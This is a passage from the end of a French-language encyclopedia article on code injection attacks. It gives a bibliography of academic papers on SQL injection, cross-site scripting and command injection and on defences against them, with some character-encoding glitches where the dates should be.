- Boyd et al.,page 6
- Boyd et al.,page 7
- Su et al.
- Su et al., page 8
Annexes
Bibliographie
- (en) William G.J. Halfond et Alessandro Orso, « AMNESIA: Analysis and Monitoring for NEutralizing SQL-Injection Attacks », ASE '05 Proceedings of the 20th IEEE/ACM international Conference on Automated software engineering, ACM New York,â , p. 174-183 (ISBN 1-58113-993-4, DOI 10.1145/1101908.1101935)
- (en) Adam Kiezun, Philip J. Guo, Karthick Jayaraman et Michael D. Ernst, « Automatic creation of SQL Injection and cross-site scripting attacks », ICSE '09 Proceedings of the 31st International Conference on Software Engineering, IEEE Computer Society Washington, DC, USA,â , p. 199-209 (ISBN 978-1-4244-3453-4, DOI 10.1109/ICSE.2009.5070521)
- (en) Gaurav S. Kc, Angelos D. Keromytis et Vassilis Prevelakis, « Countering code-injection attacks with instruction-set randomization », CCS '03 Proceedings of the 10th ACM conference on Computer and communications security, ACM New York,â , p. 272 - 280 (ISBN 1-58113-738-9, DOI 10.1145/948109.948146)
- (en) Donald Ray et Jay Ligatti, « Defining code-injection attacks », POPL '12 Proceedings of the 39th annual ACM SIGPLAN-SIGACT symposium on Principles of programming languages, ACM New York,â , p. 179-190 (ISBN 978-1-4503-1083-3, DOI 10.1145/2103656.2103678)
- (en) Engin Kirda, Christopher Kruegel, Giovanni Vigna et Nenad Jovanovic, « Noxes: a client-side solution for mitigating cross-site scripting attacks », SAC '06 Proceedings of the 2006 ACM symposium on Applied computing, ACM New York,â , p. 330-337 (ISBN 1-59593-108-2, DOI 10.1145/1141277.1141357)
- (en) William G.J. Halfond, Jeremy Viegas et Alessandro Orso, « A Classification of SQL Injection Attacks and Countermeasures », IEEE '06 Proceedings of the IEEE International Symposium on Secure Software Engineering,â (lire en ligne [PDF])
- (en) Paruj Ratanaworabhan, Benjamin Livshits et Benjamin Zorn, « NOZZLE: a defense against heap-spraying code injection attacks », SSYM'09 Proceedings of the 18th conference on USENIX security symposium, USENIX Association Berkeley,â , p. 169-186 (ISBN 978-1-931971-69-0, lire en ligne [PDF])
- (en) Stephen W. Boyd et Angelos D. Keromytis, « SQLrand: Preventing SQL Injection Attacks », ACNS '04 Proceedings of the 2nd Applied Cryptography and Network Security Conference, Springer, vol. 3089,â , p. 292-302 (ISBN 3-540-22217-0, lire en ligne)
- (en) Engin Kirda, Christopher Kruegel, Giovanni Vigna, Nenad Jovanovic, Florian Nentwich et Philipp Vogt, « Cross-Site Scripting Prevention with Dynamic Data Tainting and Static Analysis », NDSSâ07 Proceeding of the Network and Distributed System Security Symposium,â (lire en ligne [PDF])
- (en) Zhendong Su et Gary Wassermann, « The essence of command injection attacks in web applications », POPL '06 Conference record of the 33rd ACM SIGPLAN-SIGACT symposium on Principles of programming languages, ACM New York,â , p. 372 - 382 (ISBN 1-59593-027-2, DOI 10.1145/1111037.1111070)
- (en) Zhengqin Luo, Tamara Rezk et Manuel Serrano, « Automated Code Injection Prevention for Web Applications », TOSCA'01 Theory of Security and Applications, Springer, vol. 6993,â , p. 186-204 (ISBN 978-3-642-27374-2, DOI 10.1007/978-3-642-27375-9_11, lire en ligne)